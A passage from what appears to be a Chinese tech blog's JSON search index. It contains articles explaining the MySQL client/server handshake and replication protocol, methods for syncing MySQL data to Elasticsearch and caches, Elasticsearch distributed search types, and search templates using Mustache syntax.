ERR_Packet( Sequence ID 为 2 ),然后建立连接的阶段就结束了,再有后续的命令数据,包的 Sequence ID 就重新从 0 开始;在命令阶段(client 向 server 发送增删改查这些都属于命令阶段),一个命令的请求和响应就可以看作一个完整的会话过程,比如 client 先向 server 发送了一个查询请求,然后 server 对这个查询请求进行了响应,那么这一次会话就结束了,下一个命令就是新的会话,Sequence ID 也就重新从 0 开始递增。 ","date":"2020-12-20","objectID":"/protocol-connectionreplication/:1:1","tags":["MySQL"],"title":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication","uri":"/protocol-connectionreplication/"},{"categories":["MySQL"],"content":"Initial Handshake Packet 建立连接时,当客户端发起一个 TCP 连接后,MySQL 服务端就会回应一个 Initial Handshake Packet ,这个初始化握手包的数据格式如下图所示: 这个图从上往下依次是: 1 个字节的整数,表示 handshake protocol 的版本,现在都是 10 。 以 NUL(即一个字节 0x00)结尾的字符串,表示 MySQL 服务器的版本,例如 5.7.18-log 。 4 个字节的整数,表示线程 id,也是这个连接的 id。 8 个字节的字符串,auth-plugin-data-part-1 后续密码加密需要用到的随机数的前 8 位。 1 个字节的填充位。 2 个字节的整数,capability_flags_1 即 Capabilities Flags 的低位 2 位字节。 1 个字节的整数,表示服务器默认的字符编码格式,比如 utf8_general_ci。 2 个字节的整数,服务器的状态标识。 2 个字节的整数,capability_flags_2 即 Capabilities Flags 的高位 2 位字节。 1 个字节的整数,如果服务器具有 CLIENT_PLUGIN_AUTH 的能力(其实就是能够进行客户端身份验证,基本都支持),那么传递的是 auth_plugin_data_len 即加密随机数的长度,否则传递的是 0x00 。 10 个字节的填充位,全部是 0x00 。 由 auth_plugin_data_len 指定长度的字符串,auth-plugin-data-part-2 加密随机数的后 13 位。 如果服务器具有 CLIENT_PLUGIN_AUTH 的能力(其实就是能够进行客户端身份验证,基本都支持),那么传递的是 auth_plugin_name 即用户认证方式的名称。 对于 MySQL 5.x 版本,默认的用户身份认证方式叫做 mysql_native_password(对应上面的 auth_plugin_name),这种认证方式的算法是: SHA1( password ) XOR SHA1( \"20-bytes random data from server\" \u003cconcat\u003e SHA1( SHA1( password ) ) ) 其中加密所需的 20 个字节的随机数就是 auth-plugin-data-part-1( 8 位数)和 auth-plugin-data-part-2( 13 位中的前 12 位数)组成。 注意:MySQL 使用的小端字节序。 看到这,你可能还对 Capabilities Flags 感到很困惑。 Capabilities Flags Capabilities Flags 其实就是一个功能标志,用来表明服务端和客户端支持并希望使用哪些功能。为什么需要这个功能标志?因为首先 MySQL 有众多版本,每个版本可能支持的功能有区别,所以服务端需要表明它支持哪些功能;其次,对服务端来说,连接它的客户端可以是各种各样的,这些客户端希望使用哪些功能也是需要表明的。 Capabilities Flags 一般是 4 个字节的整数: 如上图所示,每个功能都独占一个 bit 位。 Capabilities Flags 通常都是多个功能的组合表示,例如要表示 CLIENT_PROTOCOL_41、CLIENT_PLUGIN_AUTH、CLIENT_SECURE_CONNECTION 这三个功能,那么就把他们对应的 0x00000200、0x00080000、0x00008000 进行比特位或运算就能得到最终的值 0x00088200 也就是最终的 Capabilities Flags。 根据 Capabilities Flags 判断是否支持某个功能,例如 Capabilities Flags 的值是 0x00088200,要判断它是否支持 CLIENT_SECURE_CONNECTION 的功能,则直接进行比特位与运算即可,即 Capabilities Flags \u0026 CLIENT_SECURE_CONNECTION == CLIENT_SECURE_CONNECTION 。 ","date":"2020-12-20","objectID":"/protocol-connectionreplication/:1:2","tags":["MySQL"],"title":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication","uri":"/protocol-connectionreplication/"},{"categories":["MySQL"],"content":"Handshake Response Packet 建立连接的过程中,当客户端收到了服务端的 Initial Handshake Packet 后,需要向服务端回应一个 Handshake Response Packet ,包的数据格式如下图所示: 依次是: 4 个字节的整数,Capabilities Flags,一定要设置 CLIENT_PROTOCOL_41,对于 MySQL 5.x 版本,使用默认的身份认证方式,还需要对应的设置 CLIENT_PLUGIN_AUTH 和 CLIENT_SECURE_CONNECTION。 4 个字节的整数,包大小的最大值,这里指的是命令包的大小,比如一条 SQL 最多能多大。 1 个字节的整数,字符编码方式。 23 个字节的填充位,全是 0x00。 以 NUL(0x00)结尾的字符串,登录的用户名。 CLIENT_PLUGIN_AUTH_LENENC_CLIENT_DATA 一般不使用。 1 个字节的整数,auth_response_length,密码加密后的长度。 auth_response_length 指定长度的字符串,密码与随机数加密后的数据。 如果 CLIENT_CONNECT_WITH_DB 直接指定了连接的数据库,则需要传递以 NUL(0x00)结尾的字符串,内容是数据库名。 CLIENT_PLUGIN_AUTH 一般都需要,默认方式需要传递的值就是 mysql_native_password 。 可以看到,Handshake Response Packet 与 Initial Handshake Packet 其实是相对应的。 ","date":"2020-12-20","objectID":"/protocol-connectionreplication/:1:3","tags":["MySQL"],"title":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication","uri":"/protocol-connectionreplication/"},{"categories":["MySQL"],"content":"OK_Packet \u0026 ERR_Packet OK_Packet 和 ERR_Packet 是 MySQL 服务端通用的响应包。 MySQL 5.7.5 版本以后,OK_Packet 还包含了 EOF_Packet(用来显示警告和状态信息)。区分 OK_Packet 和 EOF_Packet: OK: header = 0x00 and length of packet \u003e 7 EOF: header = 0xfe and length of packet \u003c 9 MySQL 5.7.5 版本之前,EOF_Packet 是一个单独格式的包: 如果身份认证通过、连接建立成功,返回的 OK_Packet 就会是: 0x07 0x00 0x00 0x02 0x00 0x00 0x00 0x02 0x00 0x00 0x00 如果连接失败,或者出现错误则会返回 ERR_Packet 格式的包: ","date":"2020-12-20","objectID":"/protocol-connectionreplication/:1:4","tags":["MySQL"],"title":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication","uri":"/protocol-connectionreplication/"},{"categories":["MySQL"],"content":"Replication 想要获取到 master 的 binlog 吗?只要你对接实现 replication 协议即可。 client 与 server 之间成功建立连接、完成身份认证,这个过程就是上文所述的 connection phase 。 client 向 server 发送 COM_REGISTER_SLAVE 包,表明要注册成为一个 slave ,server 响应 OK_Packet 或者 ERR_Packet,只有成功才能进行后续步骤。 client 向 server 发送 COM_BINLOG_DUMP 包,表明要开始获取 binlog 的内容。 server 响应数据,可能是: binlog network stream( binlog 网络流)。 ERR_Packet,表示有错误发生。 EOF_Packet,如果 COM_BINLOG_DUMP 中的 flags 设置为了 0x01 ,则在 binlog 没有更多新事件时发送 EOF_Packet,而不是阻塞连接继续等待后续 binlog event 。 ","date":"2020-12-20","objectID":"/protocol-connectionreplication/:2:0","tags":["MySQL"],"title":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication","uri":"/protocol-connectionreplication/"},{"categories":["MySQL"],"content":"COM_REGISTER_SLAVE 客户端向 MySQL 发送 COM_REGISTER_SLAVE ,表明它要注册成为一个 slave,包格式如下图: 除了 1 个字节的固定内容 0x15 和 4 个字节的 server-id ,其他内容通常都是空或者忽略,需要注意的是这里的 user 和 password 并不是登录 MySQL 的用户名和密码,只是 slave 的一种标识而已。 ","date":"2020-12-20","objectID":"/protocol-connectionreplication/:2:1","tags":["MySQL"],"title":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication","uri":"/protocol-connectionreplication/"},{"categories":["MySQL"],"content":"COM_BINLOG_DUMP 注册成为 slave 之后,发送 COM_BINLOG_DUMP 就可以开始接受 binlog event 了。 1 个字节的整数,固定内容 0x12 。 4 个字节的整数,binlog-pos 即 binlog 文件开始的位置。 2 个字节的整数,flags,一般情况下 slave 会一直保持连接等待接受 binlog event,但是当 flags 设置为了 0x01 时,如果当前 binlog 全部接收完了,则服务端会发送 EOF_Packet 然后结束整个过程,而不是保持连接继续等待后续 binlog event 。 4 个字节的整数,server-id,slave 的身份标识,MySQL 可以同时存在多个 slave ,每个 slave 必须拥有不同的 server-id。 不定长字符串,binlog-filename,开始的 binlog 文件名。查看当前的 binlog 文件名和 pos 位置,可以执行 SQL 语句 show master status ,查看所有的 binlog 文件,可以执行 SQL 语句 show binary logs 。 ","date":"2020-12-20","objectID":"/protocol-connectionreplication/:2:2","tags":["MySQL"],"title":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication","uri":"/protocol-connectionreplication/"},{"categories":["MySQL"],"content":"Binlog Event 客户端注册 slave 成功,并且发送 COM_BINLOG_DUMP 正确,那么 MySQL 就会向客户端发送 binlog network stream 即 binlog 网络流,所谓的 binlog 网络流其实就是源源不断的 binlog event 包(对 MySQL 进行的操作,例如 inset、update、delete 等,在 binlog 中是以一个或多个 binlog event 的形式存在的)。 Replication 的两种方式: 异步,默认方式,master 不断地向 slave 发送 binlog event ,无需 slave 进行 ack 确认。 半同步,master 向 slave 每发送一个 binlog event 都需要等待 ack 确认回复。 Binlog 有三种模式: statement ,binlog 存储的是原始 SQL 语句。 row ,binlog 存储的是每行的实际前后变化。 mixed ,混合模式,binlog 存储的一部分是 SQL 语句,一部分是每行变化。 Binlog Event 的包格式如下图: 每个 Binlog Event 包都有一个确定的 event header ,根据 event 类型的不同,可能还会有 post header 以及 payload 。 Binlog Event 的类型非常多: Binlog Management: START_EVENT_V3 FORMAT_DESCRIPTION_EVENT: MySQL 5.x 及以上版本 binlog 文件中的第一个 event,内容是 binlog 的基本描述信息。 STOP_EVENT ROTATE_EVENT: binlog 文件发生了切换,binlog 文件中的最后一个 event。 SLAVE_EVENT INCIDENT_EVENT HEARTBEAT_EVENT: 心跳信息,表明 slave 落后了 master 多少秒(执行 SQL 语句 SHOW SLAVE STATUS 输出的 Seconds_Behind_Master 字段)。 Statement Based Replication Events(binlog 为 statement 模式时相关的事件): QUERY_EVENT: 原始 SQL 语句,例如 insert、update … 。 INTVAR_EVENT: 基于会话变量的整数,例如把主键设置为了 auto_increment 自增整数,那么进行插入时,这个字段实际写入的值就记录在这个事件中。 RAND_EVENT: 内部 RAND() 函数的状态。 USER_VAR_EVENT: 用户变量事件。 XID_EVENT: 记录事务 ID,事务 commit 提交了才会写入。 Row Based Replication Events(binlog 为 row 模式时相关的事件): TABLE_MAP_EVENT: 记录了后续事件涉及到的表结构的映射关系。 v0 事件对应 MySQL 5.1.0 to 5.1.15 版本 DELETE_ROWS_EVENTv0: 记录了行数据的删除。 UPDATE_ROWS_EVENTv0: 记录了行数据的更新。 WRITE_ROWS_EVENTv0: 记录了行数据的新增。 v1 事件对应 MySQL 5.1.15 to 5.6.x 版本 DELETE_ROWS_EVENTv1: 记录了行数据的删除。 UPDATE_ROWS_EVENTv1: 记录了行数据的更新。 WRITE_ROWS_EVENTv1: 记录了行数据的新增。 v2 事件对应 MySQL 5.6.x 及其以上版本 DELETE_ROWS_EVENTv2: 记录了行数据的删除。 UPDATE_ROWS_EVENTv2: 记录了行数据的更新。 WRITE_ROWS_EVENTv2: 记录了行数据的新增。 LOAD INFILE replication(加载文件的特殊场景,本文不做介绍): LOAD_EVENT CREATE_FILE_EVENT APPEND_BLOCK_EVENT EXEC_LOAD_EVENT DELETE_FILE_EVENT NEW_LOAD_EVENT BEGIN_LOAD_QUERY_EVENT EXECUTE_LOAD_QUERY_EVENT 想要解析具体某个 binlog event 的内容,只要对照官方文档数据包的格式即可。 ","date":"2020-12-20","objectID":"/protocol-connectionreplication/:2:3","tags":["MySQL"],"title":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication","uri":"/protocol-connectionreplication/"},{"categories":["MySQL"],"content":"结语 MySQL Client/Server Protocol 协议其实很简单,就是相互之间按照约定的格式发包,而理解了协议,相信你自己就可以实现一个 lib 去注册成为一个 slave 然后解析 binlog 。 ","date":"2020-12-20","objectID":"/protocol-connectionreplication/:3:0","tags":["MySQL"],"title":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication","uri":"/protocol-connectionreplication/"},{"categories":["MySQL"],"content":"同步 MySQL 数据至 Elasticsearch/Redis/MQ 等的五种方式 在实际应用中,我们经常需要把 MySQL 的数据同步至其它数据源,也就是在对 MySQL 的数据进行了新增、修改、删除等操作后,把该数据相关的业务逻辑变更也应用到其它数据源,例如: MySQL -\u003e Elasticsearch ,同步 ES 的索引 MySQL -\u003e Redis ,刷新缓存 MySQL -\u003e MQ (如 Kafka 等) ,投递消息 本文总结了五种数据同步的方式。 ","date":"2020-11-30","objectID":"/sync-data-from-mysql/:0:0","tags":["MySQL"],"title":"同步 MySQL 数据至 Elasticsearch/Redis/MQ 等的五种方式","uri":"/sync-data-from-mysql/"},{"categories":["MySQL"],"content":"1. 业务层同步 由于对 MySQL 数据的操作也是在业务层完成的,所以在业务层同步操作另外的数据源也是很自然的,比较常见的做法就是在 ORM 的 hooks 钩子里编写相关同步代码。 这种方式的缺点是,当服务越来越多时,同步的部分可能会过于分散从而导致难以更新迭代,例如对 ES 索引进行不兼容迁移时就可能会牵一发而动全身。 ","date":"2020-11-30","objectID":"/sync-data-from-mysql/:1:0","tags":["MySQL"],"title":"同步 MySQL 数据至 Elasticsearch/Redis/MQ 等的五种方式","uri":"/sync-data-from-mysql/"},{"categories":["MySQL"],"content":"2. 中间件同步 当应用架构演变为微服务时,各个服务里可能不再直接调用 MySQL ,而是通过一层 middleware 中间件,这时候就可以在中间件操作 MySQL 的同时同步其它数据源。 这种方式需要中间件去适配,具有一定复杂度。 ","date":"2020-11-30","objectID":"/sync-data-from-mysql/:2:0","tags":["MySQL"],"title":"同步 MySQL 数据至 Elasticsearch/Redis/MQ 等的五种方式","uri":"/sync-data-from-mysql/"},{"categories":["MySQL"],"content":"3. 定时任务根据 updated_at 字段同步 在 MySQL 的表结构里设置特殊的字段,如 updated_at(数据的更新时间),根据此字段,由定时任务去查询实际变更的数据,从而实现数据的增量更新。 这种方式你可以使用开源的 Logstash 去完成。 当然缺点也很明显,就是无法同步数据的删除操作。 ","date":"2020-11-30","objectID":"/sync-data-from-mysql/:3:0","tags":["MySQL"],"title":"同步 MySQL 数据至 Elasticsearch/Redis/MQ 等的五种方式","uri":"/sync-data-from-mysql/"},{"categories":["MySQL"],"content":"4. 解析 binlog 同步 比如著名的 canal 。 通过伪装成 slave 去解析 MySQL 的 binary log 从而得知数据的变更。 这是一种业界比较成熟的方案。 这种方式要求你将 MySQL 的 binlog-format 设置为 ROW 模式。 ","date":"2020-11-30","objectID":"/sync-data-from-mysql/:4:0","tags":["MySQL"],"title":"同步 MySQL 数据至 Elasticsearch/Redis/MQ 等的五种方式","uri":"/sync-data-from-mysql/"},{"categories":["MySQL"],"content":"5. 解析 binlog – mixed / statement 格式 MySQL 的 binlog 有三种格式: ROW 模式,binlog 按行的方式去记录数据的变更; statement 模式,binlog 记录的是 SQL 语句; mixed 模式时,混合以上两种,记录的可能是 SQL 语句或者 ROW 模式的每行变更; 某些情况下,可能你的 MySQL binlog 无法被设置为 ROW 模式,这种时候,我们仍然可以去统一解析 binlog ,从而完成同步,但是这里解析出来的当然还是原始的 SQL 语句或者 ROW 模式的每行变更,这种时候是需要我们去根据业务解析这些 SQL 或者每行变更,比如利用正则匹配或者 AST 抽象语法树等,然后根据解析的结果再进行数据的同步。 这种方式的限制也很明显,一是需要自己适配业务解析 SQL ,二是批量更新这种场景可能很难处理,当然如果你的数据都是简单的根据主键进行修改或者删除则能比较好的适用。 ","date":"2020-11-30","objectID":"/sync-data-from-mysql/:5:0","tags":["MySQL"],"title":"同步 MySQL 数据至 Elasticsearch/Redis/MQ 等的五种方式","uri":"/sync-data-from-mysql/"},{"categories":["MySQL"],"content":"结语 最后列举几个 binlog 解析的开源库: canal go-mysql zongji ","date":"2020-11-30","objectID":"/sync-data-from-mysql/:6:0","tags":["MySQL"],"title":"同步 MySQL 数据至 Elasticsearch/Redis/MQ 等的五种方式","uri":"/sync-data-from-mysql/"},{"categories":["Elasticsearch"],"content":"Elasticsearch 分布式搜索的运行机制 ES 有两种 search_type 即搜索类型: query_then_fetch (默认) dfs_query_then_fetch ","date":"2020-11-17","objectID":"/es-distribute-search-steps/:0:0","tags":["Elasticsearch"],"title":"Elasticsearch 分布式搜索的运行机制","uri":"/es-distribute-search-steps/"},{"categories":["Elasticsearch"],"content":"query_then_fetch 用户发起搜索,请求到集群中的某个节点。 query 会被发送到所有相关的 shard 分片上。 每个 shard 分片独立执行 query 搜索文档并进行排序分页等,打分时使用的是分片本身的 Local Term/Document 频率。 分片的 query 结果(只有元数据,例如 _id 和 _score)返回给请求节点。 请求节点对所有分片的 query 结果进行汇总,然后根据打分排序和分页,最后选择出搜索结果文档(也只有元数据)。 根据元数据去对应的 shard 分片拉取存储在磁盘上的文档的详细数据。 得到详细的文档数据,组成搜索结果,将结果返回给用户。 缺点:由于每个分片独立使用自身的而不是全局的 Term/Document 频率进行相关度打分,当数据分布不均匀时可能会造成打分偏差,从而影响最终搜索结果的相关性。 ","date":"2020-11-17","objectID":"/es-distribute-search-steps/:1:0","tags":["Elasticsearch"],"title":"Elasticsearch 分布式搜索的运行机制","uri":"/es-distribute-search-steps/"},{"categories":["Elasticsearch"],"content":"dfs_query_then_fetch dfs_query_then_fetch 与 query_then_fetch 的运行机制非常类似,但是有两点不同。 用户发起搜索,请求到集群中的某个节点。 预查询每个分片,得到全局的 Global Term/Document 频率。 query 会被发送到所有相关的 shard 分片上。 每个 shard 分片独立执行 query 搜索文档并进行排序分页等,打分时使用的是分片本身的 Global Term/Document 频率。 分片的 query 结果(只有元数据,例如 _id 和 _score)返回给请求节点。 请求节点对所有分片的 query 结果进行汇总,然后根据打分排序和分页,最后选择出搜索结果文档(也只有元数据)。 根据元数据去对应的 shard 分片拉取存储在磁盘上的文档的详细数据。 得到详细的文档数据,组成搜索结果,将结果返回给用户。 缺点:太耗费资源,一般还是不建议使用。 ","date":"2020-11-17","objectID":"/es-distribute-search-steps/:2:0","tags":["Elasticsearch"],"title":"Elasticsearch 分布式搜索的运行机制","uri":"/es-distribute-search-steps/"},{"categories":["Elasticsearch"],"content":"经验 虽然 ES 有两种搜索类型,但一般还是都用默认的 query_then_fetch 。 当数据量没有足够大的情况下(比如搜索类型数据 20GB,日志类型数据 20-50GB),设置一个 shard 主分片是比较推荐的,只设置一个主分片,你会发现搜索时省掉了好多事情。 不需要文档数据时,使用 _source: false 可以避免请求节点到非本机分片的网络耗时以及读取磁盘文件的耗时。 使用 from + size 分页时,假设你只需要前 10k 条数据里的最后十条,那么每个分片也会取 10k 条数据,如果你的索引有 5 个主分片,那么汇总时就有 5 * 10k = 50k 条数据,这 50k 条数据是在内存里进行排序和最后的分页的,所以深度分页也是比较吃资源的。 ","date":"2020-11-17","objectID":"/es-distribute-search-steps/:3:0","tags":["Elasticsearch"],"title":"Elasticsearch 分布式搜索的运行机制","uri":"/es-distribute-search-steps/"},{"categories":["Elasticsearch"],"content":"Elasticsearch Search Template","date":"2020-11-16","objectID":"/es-search-template/","tags":["Elasticsearch"],"title":"Elasticsearch Search Template","uri":"/es-search-template/"},{"categories":["Elasticsearch"],"content":"Elasticsearch Search Template 所谓 search template 搜索模板其实就是: 预先定义好查询语句 DSL 的结构并预留参数 搜索的时再传入参数值 渲染出完整的 DSL ,最后进行搜索 使用搜索模板可以将 DSL 从应用程序中解耦出来,并且可以更加灵活的更改查询语句。 例如: GET _search/template { \"source\" : { \"query\": { \"match\" : { \"{{my_field}}\" : \"{{my_value}}\" } } }, \"params\" : { \"my_field\" : \"message\", \"my_value\" : \"foo\" } } 构造出来的 DSL 就是: { \"query\": { \"match\": { \"message\": \"foo\" } } } 在模板中通过 {{ }} 的方式预留参数,然后查询时再指定对应的参数值,最后填充成具体的查询语句进行搜索。 ","date":"2020-11-16","objectID":"/es-search-template/:0:0","tags":["Elasticsearch"],"title":"Elasticsearch Search Template","uri":"/es-search-template/"},{"categories":["Elasticsearch"],"content":"搜索模板 API 为了实现搜索模板和查询分离,我们首先需要单独保存和管理搜索模板。 保存搜索模板 使用 scripts API 保存搜索模板(不存在则创建,存在则覆盖)。示例: POST _scripts/\u003ctemplateid\u003e { \"script\": { \"lang\": \"mustache\", \"source\": { \"query\": { \"match\": { \"title\": \"{{query_string}}\" } } } } } 查询搜索模板 GET _scripts/\u003ctemplateid\u003e 删除搜索模板 DELETE _scripts/\u003ctemplateid\u003e 使用搜索模板 示例: GET _search/template { \"id\": \"\u003ctemplateid\u003e\", \"params\": { \"query_string\": \"search words\" } } params 中的参数与搜索模板中定义的一致,上文保存搜索模板的示例是 {{query_string}},所以这里进行搜索时对应的参数就是 query_string 。 检验搜索模板 有时候我们想看看搜索模板输入了参数之后渲染成的 DSL 到底长啥样。 示例: GET _render/template { \"source\": \"{ \\\"query\\\": { \\\"terms\\\": {{#toJson}}statuses{{/toJson}} }}\", \"params\": { \"statuses\" : { \"status\": [ \"pending\", \"published\" ] } } } 返回的结果就是: { \"template_output\": { \"query\": { \"terms\": { \"status\": [ \"pending\", \"published\" ] } } } } {{#toJson}} {{/toJson}} 就是转换成 json 格式。 已经保存的搜索模板可以通过以下方式查看渲染结果: GET _render/template/\u003ctemplate_name\u003e { \"params\": { \"...\" } } 使用 explain 和 profile 参数 示例: GET _search/template { \"id\": \"my_template\", \"params\": { \"status\": [ \"pending\", \"published\" ] }, \"explain\": true } GET _search/template { \"id\": \"my_template\", \"params\": { \"status\": [ \"pending\", \"published\" ] }, \"profile\": true } ","date":"2020-11-16","objectID":"/es-search-template/:1:0","tags":["Elasticsearch"],"title":"Elasticsearch Search Template","uri":"/es-search-template/"},{"categories":["Elasticsearch"],"content":"模板渲染 填充简单值 GET _search/template { \"source\": { \"query\": { \"term\": { \"message\": \"{{query_string}}\" } } }, \"params\": { \"query_string\": \"search words\" } } 渲染出来的 DSL 就是: { \"query\": { \"term\": { \"message\": \"search words\" } } } 将参数转换为 JSON 使用 {{#toJson}}parameter{{/toJson}} 会将参数转换为 JSON。 GET _search/template { \"source\": \"{ \\\"query\\\": { \\\"terms\\\": {{#toJson}}statuses{{/toJson}} }}\", \"params\": { \"statuses\" : { \"status\": [ \"pending\", \"published\" ] } } } 渲染出来的 DSL 就是: { \"query\": { \"terms\": { \"status\": [ \"pending\", \"published\" ] } } } 对象数组的渲染示例: GET _search/template { \"source\": \"{\\\"query\\\":{\\\"bool\\\":{\\\"must\\\": {{#toJson}}clauses{{/toJson}} }}}\", \"params\": { \"clauses\": [ { \"term\": { \"user\" : \"foo\" } }, { \"term\": { \"user\" : \"bar\" } } ] } } 渲染结果就是: { \"query\": { \"bool\": { \"must\": [ { \"term\": { \"user\" : \"foo\" } }, { \"term\": { \"user\" : \"bar\" } } ] } } } 将数组 join 成字符串 使用 {{#join}}array{{/join}} 可以将数组 join 成字符串。 示例: GET _search/template { \"source\": { \"query\": { \"match\": { \"emails\": \"{{#join}}emails{{/join}}\" } } }, \"params\": { \"emails\": [ \"aaa\", \"bbb\" ] } } 渲染结果: { \"query\" : { \"match\" : { \"emails\" : \"aaa,bbb\" } } } 除了默认以 , 分隔外,还可以自定义分隔符,示例: { \"source\": { \"query\": { \"range\": { \"born\": { \"gte\": \"{{date.min}}\", \"lte\": \"{{date.max}}\", \"format\": \"{{#join delimiter='||'}}date.formats{{/join delimiter='||'}}\" } } } }, \"params\": { \"date\": { \"min\": \"2016\", \"max\": \"31/12/2017\", \"formats\": [ \"dd/MM/yyyy\", \"yyyy\" ] } } } 例子中的 {{#join delimiter='||'}} {{/join delimiter='||'}} 意思就是进行 join 操作,分隔符设置为 || ,渲染结果就是: { \"query\": { \"range\": { \"born\": { \"gte\": \"2016\", \"lte\": \"31/12/2017\", \"format\": \"dd/MM/yyyy||yyyy\" } } } } 默认值 使用 {{var}}{{^var}}default{{/var}} 的方式设置默认值。 示例: { \"source\": { \"query\": { \"range\": { \"line_no\": { \"gte\": \"{{start}}\", \"lte\": \"{{end}}{{^end}}20{{/end}}\" } } } }, \"params\": { ... } } {{end}}{{^end}}20{{/end}} 就是给 end 设置了默认值为 20 。 当 params 是 { \"start\": 10, \"end\": 15 } 时,渲染结果是: { \"range\": { \"line_no\": { \"gte\": \"10\", \"lte\": \"15\" } } } 当 params 是 { \"start\": 10 } 时,end 就会使用默认值,渲染结果就是: { \"range\": { \"line_no\": { \"gte\": \"10\", \"lte\": \"20\" } } } 条件子句 有时候我们的参数是可选的,这时候就可以使用 {{#key}} {{/key}}的语法。 示例,假设参数 line_no, start, end 都是可选的,使用 {{#key}} {{/key}} 形如: { \"query\": { \"bool\": { \"must\": { \"match\": { \"line\": \"{{text}}\" } }, \"filter\": { {{#line_no}} \"range\": { \"line_no\": { {{#start}} \"gte\": \"{{start}}\" {{#end}},{{/end}} {{/start}} {{#end}} \"lte\": \"{{end}}\" {{/end}} } } {{/line_no}} } } } } 1、 当参数为: { \"params\": { \"text\": \"words to search for\", \"line_no\": { \"start\": 10, \"end\": 20 } } } 渲染结果是: { \"query\": { \"bool\": { \"must\": { \"match\": { \"line\": \"words to search for\" } }, \"filter\": { \"range\": { \"line_no\": { \"gte\": \"10\", \"lte\": \"20\" } } } } } } 2、 当参数为: { \"params\": { \"text\": \"words to search for\" } } 渲染结果为: { \"query\": { \"bool\": { \"must\": { \"match\": { \"line\": \"words to search for\" } }, \"filter\": {} } } } 3、当参数为: { \"params\": { \"text\": \"words to search for\", \"line_no\": { \"start\": 10 } } } 渲染结果为: { \"query\": { \"bool\": { \"must\": { \"match\": { \"line\": \"words to search for\" } }, \"filter\": { \"range\": { \"line_no\": { \"gte\": 10 } } } } } } 4、当参数为: { \"params\": { \"text\": \"words to search for\", \"line_no\": { \"end\": 20 } } } 渲染结果为: { \"query\": { \"bool\": { \"must\": { \"match\": { \"line\": \"words to search for\" } }, \"filter\": { \"range\": { \"line_no\": { \"lte\": 20 } } } } } } 需要注意的是在 JSON 对象中, { \"filter\": { {{#line_no}} ... {{/line_no}} } } 这样直接写 {{#line_no}} 肯定是非法的JSON格式,你必须转换为 JSON 字符串。 URLs 编码 使用 {{#url}}value{{/url}} 的方式可以进行 HTML 编码转义。 示例: GET _render/template { \"source\": { \"query\": { \"term\": { \"http_access_log\": \"{{#url}}{{host}}/{{page}}{{/url}}\" } } }, \"params\": { \"host\": \"https://www.elastic.co/\", \"page\": \"learn\" } } 渲染结果: { \"template_output\": { \"query\": { \"term\": { \"http_access_log\": \"https%3A%2F%2Fwww.elastic.co%2F%2Flearn\" } } } } ","date":"2020-11-16","objectID":"/es-search-template/:2:0","tags":["Elasticsearch"],"title":"Elasticsearch Search Template","uri":"/es-search-template/"},{"categories":["Elasticsearch"],"content":"Mustache 基本语法 上文中的 {{ }} 语法其实就是 mustache language ,补充介绍下基本的语法规则。 使用 {{key}} 模板:Hello {{name}} 输入: { \"name\": \"Chris\" } 输出:Hello Chris 使用 {{{key}}} 避免转义 所有变量都会默认进行 HTML 转义。 模板:{{company}} 输入: { \"company\": \"\u003cb\u003eGitHub\u003c/b\u003e\" } 输出:\u0026lt;b\u0026gt;GitHub\u0026lt;/b\u0026gt; 使用 {{{ }}} 避免转义。 模板:{{{company}}} 输入: { \"company\": \"\u003cb\u003eGitHub\u003c/b\u003e\" } 输出:\u003cb\u003eGitHub\u003c/b\u003e 使用 {{#key}} {{/key}} 构造区块 1、 当 key 是 false 或者空列表将会忽略 模板: Shown. {{#person}} Never shown! {{/person}} 输入: { \"person\": false } 输出: Shown. 2、 当 key 非空值则渲染填充 模板: {{#repo}} \u003cb\u003e{{name}}\u003c/b\u003e {{/repo}} 输入: { \"repo\": [ { \"name\": \"resque\" }, { \"name\": \"hub\" }, { \"name\": \"rip\" } ] } 输出: \u003cb\u003eresque\u003c/b\u003e \u003cb\u003ehub\u003c/b\u003e \u003cb\u003erip\u003c/b\u003e 3、当 key 是函数则调用后渲染 模板: {{#wrapped}} {{name}} is awesome. {{/wrapped}} 输入: { \"name\": \"Willy\", \"wrapped\": function() { return function(text, render) { return \"\u003cb\u003e\" + render(text) + \"\u003c/b\u003e\" } } } 输出: \u003cb\u003eWilly is awesome.\u003c/b\u003e 4、当 key 是非 false 且非列表 模板: {{#person?}} Hi {{name}}! {{/person?}} 输入: { \"person?\": { \"name\": \"Jon\" } } 输出: Hi Jon! 使用 {{^key}} {{/key}} 构造反区块 {{^key}} {{/key}} 的语法与 {{#key}} {{/key}} 类似,不同的是,当 key 不存在,或者是 false ,又或者是空列表时才渲染输出区块内容。 模板: {{#repo}} \u003cb\u003e{{name}}\u003c/b\u003e {{/repo}} {{^repo}} No repos :( {{/repo}} 输入: { \"repo\": [] } 输出: No repos :( 使用 {{! }} 添加注释 {{! }} 注释内容将会被忽略。 模板: \u003ch1\u003eToday{{! ignore me }}.\u003c/h1\u003e 输出: \u003ch1\u003eToday.\u003c/h1\u003e 使用 {{\u003e }} 子模块 模板: base.mustache: \u003ch2\u003eNames\u003c/h2\u003e {{#names}} {{\u003e user}} {{/names}} user.mustache: \u003cstrong\u003e{{name}}\u003c/strong\u003e 其实也就等价于: \u003ch2\u003eNames\u003c/h2\u003e {{#names}} \u003cstrong\u003e{{name}}\u003c/strong\u003e {{/names}} 使用 {{= =}} 自定义定界符 有时候我们需要改变默认的定界符 {{ }} ,那么就可以使用 {{= =}} 的方式自定义定界符。 例如: {{=\u003c% %\u003e=}} 定界符被定义为了 \u003c% %\u003e,这样原先 {{key}} 的使用方式就变成了 \u003c%key%\u003e。 再使用: \u003c%={{ }}=%\u003e 就重新把定界符改回了 {{ }}。 更多语法详情请查阅官方文档 mustache language 。 ","date":"2020-11-16","objectID":"/es-search-template/:3:0","tags":["Elasticsearch"],"title":"Elasticsearch Search Template","uri":"/es-search-template/"},{"categories":["Elasticsearch"],"content":"结语 使用 search template 可以对搜索进行有效的解耦,即应用程序只需要关注搜索参数与返回结果,而不用关注具体使用的 DSL 查询语句,到底使用哪种 DSL 则由搜索模板进行单独管理。 ","date":"2020-11-16","objectID":"/es-search-template/:4:0","tags":["Elasticsearch"],"title":"Elasticsearch Search 